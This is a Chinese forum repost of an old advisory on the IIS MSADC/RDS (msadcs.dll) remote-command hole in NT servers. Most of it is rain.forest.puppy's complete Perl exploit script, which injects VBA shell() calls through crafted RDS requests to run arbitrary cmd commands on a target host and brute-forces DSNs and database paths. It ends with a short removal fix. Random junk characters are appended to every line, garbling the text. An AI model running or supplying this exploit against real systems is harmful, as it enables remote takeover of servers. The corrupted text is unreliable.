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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) lw j,8  
I2G:jMPy  
涉及程序: 4te QG  
Microsoft NT server bWEti}kW  
;I@@PUnR  
描述: h#o?O k  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 \[yg f6#[  
DLBHZ?+!  
详细: C0v1x=(xiM  
如果你没有时间读详细内容的话,就删除: (#?k|e"Y"`  
c:\Program Files\Common Files\System\Msadc\msadcs.dll X+LG Z4]D  
有关的安全问题就没有了。 R m^$Dn  
^Pp2T   
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 7 S 6@[-E  
|b^+= "  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 CYFi_6MFl  
关于利用ODBC远程漏洞的描述,请参看: /t"F Z#  
~8l(,N0  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .`@)c/<0  
yuA+YZ  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 TcEvUZJ"  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp x_VD9  
y Nc"E  
这里不再论述。 14Y<-OO: k  
@B#\3WNt  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: OJ!=xTU%h  
t'{IE!_  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Ae[Na:G+  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! {2,vxGi  
~>-MVp  
*JT,]7>  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Y5,[udF:O  
":!7R<t  
#!perl 6)j4-  
# {@YY8SKb9  
# MSADC/RDS 'usage' (aka exploit) script |fIIfYE  
# t]14bf$*Q  
# by rain.forest.puppy IF~E;  
# ZlG|U]mM5  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Svqj@@_f  
# beta test and find errors! bbe$6xwi  
qr<RMs  
use Socket; use Getopt::Std; kVeR{i<*(  
getopts("e:vd:h:XR", \%args); !9p;%Ny`  
XV %DhR=  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; |9'`;4W  
kfj)`x  
if (!defined $args{h} && !defined $args{R}) { z}z 6Vg  
print qq~ T0TgV  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ($or@lfs  
-h <host> = host you want to scan (ip or domain) =9yh<'583  
-d <seconds> = delay between calls, default 1 second T j(MIFi|5  
-X = dump Index Server path table, if available Z`]r)z%f  
-v = verbose ms%RNxU4:  
-e = external dictionary file for step 5 tPqWe2  
UYw=i4J'  
Or a -R will resume a command session ' Ih f|;r  
='G-wX&k  
~; exit;} 3LW_qX  
"&Rt&S  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; pB5#Ho>S  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} rHaj~s 4  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} )sZJH9[K  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ! %X#;{  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} =8V 9E  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } \@!"7._=  
1W r,E#+C  
if (!defined $args{R}){ $ret = &has_msadc; Nbvs_>N   
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} |w].*c}Z  
HE|XDcYO  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" KBOp}MEz  
. "cmd /c "; !*G%vOa  
$in=<STDIN>; chomp $in; N(Sc!rX  
$command="cmd /c " . $in ; u8Ak2:   
\` U=pZJ  
if (defined $args{R}) {&load; exit;} s~'"&0Gz  
6"YcM:5~  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; pt$\pQ  
&try_btcustmr; nr]:Y3KyxX  
sOqT*gwr:  
print "\nStep 2: Trying to make our own DSN..."; hZ`<ID  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; {|{;:_.>  
9_-6Lwj6t  
print "\nStep 3: Trying known DSNs..."; 8yDe{  
&known_dsn; Rl{e<>O\^  
~J:]cy)Q  
print "\nStep 4: Trying known .mdbs..."; cw"Ou%  
&known_mdb; s3sPj2e{  
9T#${NK  
if (defined $args{e}){ %EH{p@nM&-  
print "\nStep 5: Trying dictionary of DSN names..."; lW|`8ykp  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } W+Q^u7K  
SxI-pH'  
print "Sorry Charley...maybe next time?\n"; kt2W7.A 5  
exit; (Cb;=:3G  
\"pp-str  
############################################################################## Mj6 0?k  
MAQ(PIc>T  
sub sendraw { # ripped and modded from whisker (L<q Jd1Q  
sleep($delay); # it's a DoS on the server! At least on mine... e);`hNLih  
my ($pstr)=@_; Z^!% b  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || .+(R,SvN%<  
die("Socket problems\n"); %k'>bmJ  
if(connect(S,pack "SnA4x8",2,80,$target)){ <&RpGAk%I  
select(S); $|=1; \2))c@@%  
print $pstr; my @in=<S>; $a'}7Q_  
select(STDOUT); close(S); RJ1 @ a  
return @in; Dbu>rESz  
} else { die("Can't connect...\n"); }} 4$+1&+@ ]  
`?G&w.Vs  
############################################################################## J'C9}7G  
;-AC}jG  
sub make_header { # make the HTTP request XR_Gsb%l  
my $msadc=<<EOT 46##(4RF  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 tj4/x7!  
User-Agent: ACTIVEDATA 3O*^[$vM  
Host: $ip Ozg,6&3ji  
Content-Length: $clen C2{*m{ D  
Connection: Keep-Alive T5Iz{Ha  
_9C,N2a{C  
ADCClientVersion:01.06 B~B,L*kC2  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 0b G#'.-  
6Ts[NXa  
--!ADM!ROX!YOUR!WORLD! }jg 1..)"<  
Content-Type: application/x-varg N*+L'bO  
Content-Length: $reqlen [vqf hpz  
;ObrBN,Fu  
EOT F0kdwN4;  
; $msadc=~s/\n/\r\n/g; Z4oD6k5oc  
return $msadc;} +rJDDIb  
:s*t\09V7  
############################################################################## E#R1  
o3$dl`'  
sub make_req { # make the RDS request I0*N "07n  
my ($switch, $p1, $p2)=@_; ik#ti=.  
my $req=""; my $t1, $t2, $query, $dsn; H'+3<t>  
!dq$qUl/  
if ($switch==1){ # this is the btcustmr.mdb query Ya4yW9*  
$query="Select * from Customers where City=" . make_shell(); #mYe@[p@  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . UD=[::##  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} \%&):OD1  
D"gv:RojD  
elsif ($switch==2){ # this is general make table query C8W_f( i~  
$query="create table AZZ (B int, C varchar(10))"; OS-k_l L  
$dsn="$p1";} 8*;>:g  
iJH?Z,Tjf  
elsif ($switch==3){ # this is general exploit table query g/frg(KF  
$query="select * from AZZ where C=" . make_shell(); ;nrkC\SYh:  
$dsn="$p1";} E W`3$J;  
} m"':f  
elsif ($switch==4){ # attempt to hork file info from index server .k$Yleg  
$query="select path from scope()"; 6l:uQz9  
$dsn="Provider=MSIDXS;";} ~ mzX1[  
=h xyR;  
elsif ($switch==5){ # bad query #jJ0Mxg  
$query="select"; eX1_=?$1P  
$dsn="$p1";} +|Izjx]ZV  
`A9fanh  
$t1= make_unicode($query); *{,}pK2*  
$t2= make_unicode($dsn); X .sOZb?$  
$req = "\x02\x00\x03\x00"; g&{CEfw&  
$req.= "\x08\x00" . pack ("S1", length($t1)); SAiaC _  
$req.= "\x00\x00" . $t1 ; Vqcw2  
$req.= "\x08\x00" . pack ("S1", length($t2)); * mH&Gn1  
$req.= "\x00\x00" . $t2 ; ,Wtgj=1!.  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; pedyWA>  
return $req;} T"t.t%(8  
qI>,PX  
############################################################################## yuC|_nL  
k!bG![Ie|  
sub make_shell { # this makes the shell() statement \u04m}h]  
return "'|shell(\"$command\")|'";} %k<+#j6ZH  
39MOqVc  
############################################################################## 5g.w"0MkY  
qHgzgS7a  
sub make_unicode { # quick little function to convert to unicode m#ig.z|A  
my ($in)=@_; my $out; Vju/+  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } e,Z[Nox  
return $out;} zJ$U5r/u  
<,Pl31g^  
############################################################################## l[i1,4  
[+8*}03  
sub rdo_success { # checks for RDO return success (this is kludge) el\xMe^SY  
my (@in) = @_; my $base=content_start(@in); ]TJ258P}  
if($in[$base]=~/multipart\/mixed/){ /E3~z0  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 'y5H%I!  
return 0;} -?l`LbD  
@-Y,9mM   
############################################################################## M2;6Cz>,P  
4T$DQK@e  
sub make_dsn { # this makes a DSN for us 8 &v)Vi-  
my @drives=("c","d","e","f"); QyY<Zi;6  
print "\nMaking DSN: "; r&ys?@+G  
foreach $drive (@drives) { VoQhzp6&  
print "$drive: "; ty:{e]e  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . scTt53v^  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Z +O< IF%  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ta<8~n^?  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; +z0s)HU>j  
return 0 if $2 eq "404"; # not found/doesn't exist qu^~K.I"  
if($2 eq "200") { 0|i|z !N>  
foreach $line (@results) { 9Fw NX  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} [:}"MdU'  
} return 0;} UkXa mGoy3  
e+<|  
############################################################################## y2mSPLw  
F>5b[q6~4  
sub verify_exists { g[HuIn/  
my ($page)=@_; ^go3F{; 4i  
my @results=sendraw("GET $page HTTP/1.0\n\n"); oad /xbp@/  
return $results[0];} $e{[fm x  
7G7"Zule*j  
############################################################################## pe>?m^gz[  
Jw>na _FJ  
sub try_btcustmr { 2kk; z0f  
my @drives=("c","d","e","f"); A`Rs n\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); F\v~2/J5v  
So75h*e  
foreach $dir (@dirs) { rg=Ym.  
print "$dir -> "; # fun status so you can see progress K`j:F>b  
foreach $drive (@drives) { $~j9{*]5  
print "$drive: "; # ditto IxG7eX!  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; )/Gi-::  
$reqlenlen=length( "$reqlen" ); O<$j}?2  
$clen= 206 + $reqlenlen + $reqlen; =q|//*t2  
:Rnwyj])  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 2[j`bYNe  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} lA;qFXaN>  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} K`60[bdp  
g>#}(u!PH  
############################################################################## | +uc;[`  
vP+qwvpGr  
sub odbc_error { HV7f%U  
my (@in)=@_; my $base; T\ukJ25!  
my $base = content_start(@in); +JM@kdE5b  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this _3NH"o d  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 1~},}S]id  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; OF )*kiJ  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [Q\(k d*4  
return $in[$base+4].$in[$base+5].$in[$base+6];} 3xmPY.  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; D #7q3s  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . F~hH>BH9  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} *cCj*Zr]  
SSyARR+;c  
############################################################################## sTep2W.9  
1)qD)E5&cf  
sub verbose { }W(t> >  
my ($in)=@_; .<xD'54  
return if !$verbose; yq<W+b/  
print STDOUT "\n$in\n";} F\ GNLi  
-N6ek`  
############################################################################## :XoR~syT  
IS`ADDU[S  
sub save { L@_o*"&j  
my ($p1, $p2, $p3, $p4)=@_; GXNkl?#  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Y^U^yh_!^  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; om=kA"&&Q  
close OUT;} _^ic@h3'X~  
rY&#g%B6Fp  
############################################################################## (ip3{d{CT]  
=Zsxl]h   
sub load { e**'[3Y  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; *65~qAd  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ( z F_<  
@p=<IN>; close(IN); \hb$v  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Ts|;5ya5m  
$target= inet_aton($ip) || die("inet_aton problems"); [-81s!#mkw  
print "Resuming to $ip ..."; W^S]"N0u  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; VR A+p?7-  
if($p[1]==1) { A/fM30  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; S v#,L8f  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; f^F"e'1  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); SQ]M"&\{y  
if (rdo_success(@results)){print "Success!\n";} i70\`6*;B  
else { print "failed\n"; verbose(odbc_error(@results));}} ]2ycJ >w  
elsif ($p[1]==3){ kA)`i`gt  
if(run_query("$p[3]")){ 8Bh micU  
print "Success!\n";} else { print "failed\n"; }} a<>cbP  
elsif ($p[1]==4){ 1jAuW~  
if(run_query($drvst . "$p[3]")){ eNM"e-  
print "Success!\n"; } else { print "failed\n"; }} =UWW(^M#[:  
exit;} {sj{3Iu  
)]<^*b>  
############################################################################## 'z)cieFKP  
&OEBAtc/  
sub create_table { ;B(16&l=q  
my ($in)=@_; qV,x)y:V  
$reqlen=length( make_req(2,$in,"") ) - 28; ,S@B[+VZ  
$reqlenlen=length( "$reqlen" ); V?`|Ha}  
$clen= 206 + $reqlenlen + $reqlen; zy8+~\a+Y&  
my @results=sendraw(make_header() . make_req(2,$in,"")); SJ:Teab  
return 1 if rdo_success(@results); vq-;wdq?2  
my $temp= odbc_error(@results); verbose($temp); _J#oAE5]!  
return 1 if $temp=~/Table 'AZZ' already exists/; /F''4%S?E  
return 0;} C@-cLk  
^P A|RFP  
############################################################################## hst Ge>f[6  
Ml{4)%~Y7f  
sub known_dsn { FFmXT/K"/j  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 'YYT1H)  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", N pQOLX/<?  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", {0AlQ6.@>  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); d>c`hQ(V  
[a}Idi` K  
foreach $dSn (@dsns) { F[0~{*/|G  
print "."; _F^NX%  
next if (!is_access("DSN=$dSn")); +&J1D8  
if(create_table("DSN=$dSn")){ bxBndxl  
print "$dSn successful\n"; 7 n^1H[q  
if(run_query("DSN=$dSn")){ kGakdLl  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 8493O x4 O  
print "Something's borked. Use verbose next time\n";}}} print "\n";} i=pfjC  
</SO#g^r<  
############################################################################## kE!ky\E  
+%~me?  
sub is_access { sEZ2DnDI  
my ($in)=@_; |?MD>Pez  
$reqlen=length( make_req(5,$in,"") ) - 28; A@4{-e\  
$reqlenlen=length( "$reqlen" ); JRE\R&>g  
$clen= 206 + $reqlenlen + $reqlen; nr( C*E  
my @results=sendraw(make_header() . make_req(5,$in,"")); -~H "zu`  
my $temp= odbc_error(@results); ymnK`/J!Q  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); FP0GE  
return 0;} g:p` .KuB  
+JXn   
############################################################################## A_2lG!! 6  
v;}MHl  
sub run_query { CP$,fj  
my ($in)=@_; ~3-+~y=o~  
$reqlen=length( make_req(3,$in,"") ) - 28; ?[WUix;  
$reqlenlen=length( "$reqlen" ); -yu$Mm  
$clen= 206 + $reqlenlen + $reqlen; s&wm^R  
my @results=sendraw(make_header() . make_req(3,$in,"")); hAP2DeT$  
return 1 if rdo_success(@results); 6{g&9~V  
my $temp= odbc_error(@results); verbose($temp); D4$"02"  
return 0;} WU.eeiX  
l <Z7bo  
############################################################################## r&:yZN  
:6m"}8*q8  
sub known_mdb { AI,E9  
my @drives=("c","d","e","f","g"); 300[2}Y]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 9+.3GRt7  
my $dir, $drive, $mdb; /c4$m3?]  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; p!<PRms@  
)oM% N  
# this is sparse, because I don't know of many uaCI2I  
my @sysmdbs=( "\\catroot\\icatalog.mdb", c]qh)F$s8  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", :3J`+V}9;  
"\\system32\\certmdb.mdb", r/0AM}[!*j  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% qNMYZ0,  
}/IP\1bG  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", (hRg0Z=  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 1 .o0"  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", sqRvnCD!  
"\\cfusion\\cfapps\\security\\realm_.mdb", ,ZO?D|M1  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", XB:E<I'q!3  
"\\cfusion\\database\\cfexamples.mdb", 4s"x}c">F  
"\\cfusion\\database\\cfsnippets.mdb", ' 8Q }pp`  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", NpbZt;%t  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", fl4'dv  
"\\cfusion\\brighttiger\\database\\cleam.mdb", R4zOiBi'B  
"\\cfusion\\database\\smpolicy.mdb", 55,2eg#{O  
"\\cfusion\\database\cypress.mdb", %/!f^PIwX  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", !RjC0,  
"\\website\\cgi-win\\dbsample.mdb", E% Ko[G  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", fj9&J[  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" bz [?M}  
); #these are just [g=4'4EZc  
foreach $drive (@drives) { ?f!&M  
foreach $dir (@dirs){ e. E$Ej]w  
foreach $mdb (@sysmdbs) { zcio\P=^|B  
print "."; ,.;{J|4P  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ O >@Q>Z8W?  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ^.*zBrFx  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 8hSw4S "$  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; )<e,-XujY  
} else { print "Something's borked. Use verbose next time\n"; }}}}} GNW.n(a  
[8 23w.{]#  
foreach $drive (@drives) { -afNiNiY  
foreach $mdb (@mdbs) { 5F]2.<i  
print "."; _b * gg  
if(create_table($drv . $drive . $dir . $mdb)){ L/5th}m  
print "\n" . $drive . $dir . $mdb . " successful\n"; Zl.,pcL  
if(run_query($drv . $drive . $dir . $mdb)){ eF4f7>5Cv  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ,WAJ& '^  
} else { print "Something's borked. Use verbose next time\n"; }}}} [EQTrr( D  
} rV*Ri~Vx  
`?d` #) Ck  
############################################################################## i|S/g.r  
$2Bll5!]  
sub hork_idx { v9#F\F/  
print "\nAttempting to dump Index Server tables...\n"; RS2uk 7MB  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; bY~V?yNgKM  
$reqlen=length( make_req(4,"","") ) - 28; I y5)SZ'  
$reqlenlen=length( "$reqlen" ); "wxyY^"  
$clen= 206 + $reqlenlen + $reqlen; H5CL0#I  
my @results=sendraw2(make_header() . make_req(4,"","")); H#T&7X_<  
if (rdo_success(@results)){ WP^wNi ~>  
my $max=@results; my $c; my %d; v[jg|s&6"  
for($c=19; $c<$max; $c++){ 3XncEdy_  
$results[$c]=~s/\x00//g; BJp~/H`vd  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; %P C[-(Q  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; r =]$>&  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; L;6{0b58 $  
$d{"$1$2"}="";} [?XP[h gd  
foreach $c (keys %d){ print "$c\n"; } Dh<}j3]  
} else {print "Index server doesn't seem to be installed.\n"; }} :*t5?  
P\@efq@!  
############################################################################## `<hMrhfh  
FyChH7  
sub dsn_dict {  7b8y  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Y+0GJuBf  
while(<IN>){ hANe$10=H  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; vVjk9_Ul  
next if (!is_access("DSN=$dSn")); SXNde@% {  
if(create_table("DSN=$dSn")){ 74c5\UxA  
print "$dSn successful\n"; xE*. ,:,&  
if(run_query("DSN=$dSn")){ F^?DnZs  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { E7I$GD  
print "Something's borked. Use verbose next time\n";}}} IUD@Kf]S  
print "\n"; close(IN);} Bt(nm> Ng  
z0&Y_Up+5  
############################################################################## ,y}~rYsP%  
Z ?F_({im  
sub sendraw2 { # ripped and modded from whisker ,Z8)DC=  
sleep($delay); # it's a DoS on the server! At least on mine... \]3[Xw-$  
my ($pstr)=@_;  LYyud  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || &fE2zTz  
die("Socket problems\n"); ku#WQL  
if(connect(S,pack "SnA4x8",2,80,$target)){ M5N #xgR  
print "Connected. Getting data"; m@",Zr `f=  
open(OUT,">raw.out"); my @in; HzsQ`M4cA  
select(S); $|=1; print $pstr; gIKQip<  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 3MDs?qx>s  
close(OUT); select(STDOUT); close(S); return @in; (N9g6V  
} else { die("Can't connect...\n"); }} F4IU2_CnPD  
)`mBvS.}  
############################################################################## Sf2xI'  
%Y9CZRY 9  
sub content_start { # this will take in the server headers ~{pds  
my (@in)=@_; my $c; "kjSg7m*:  
for ($c=1;$c<500;$c++) { l]~IZTC  
if($in[$c] =~/^\x0d\x0a/){ :*YnH&  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } n(sseQ|\  
else { return $c+1; }}} \Qf2:[-V0  
return -1;} # it should never get here actually W< $!H V$  
s? 2ikJq  
############################################################################## :BB=E'293  
yl0;Jx?  
sub funky { HI, `O  
my (@in)=@_; my $error=odbc_error(@in); ^zfs8]QSf  
if($error=~/ADO could not find the specified provider/){ #K!"/,d@>J  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; )^ PWr^  
exit;} Q 87'zf  
if($error=~/A Handler is required/){ d)d0,fi?-  
print "\nServer has custom handler filters (they most likely are patched)\n"; v[)8 1uY  
exit;} '($$-P\/  
if($error=~/specified Handler has denied Access/){ -&lD0p>*g  
print "\nServer has custom handler filters (they most likely are patched)\n"; vx}BT H  
exit;}} >Sb3]$$  
s@ 6Jz\<E  
############################################################################## "/%o'Fq  
2WE01D9O  
sub has_msadc { 1*.*\4xo  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); o/& IT(v  
my $base=content_start(@results); sD|}? 7  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); rE0%R+4?  
return 0;} 5kojh _\  
wVX2.D'n<  
######################## r;+a%?P  
AHHV\r  
'X`W+=T$  
解决方案: ,hm&]  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll as@? Kv  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 qd<I;*WV  
$EzWUt  
拿出来充数 哈哈
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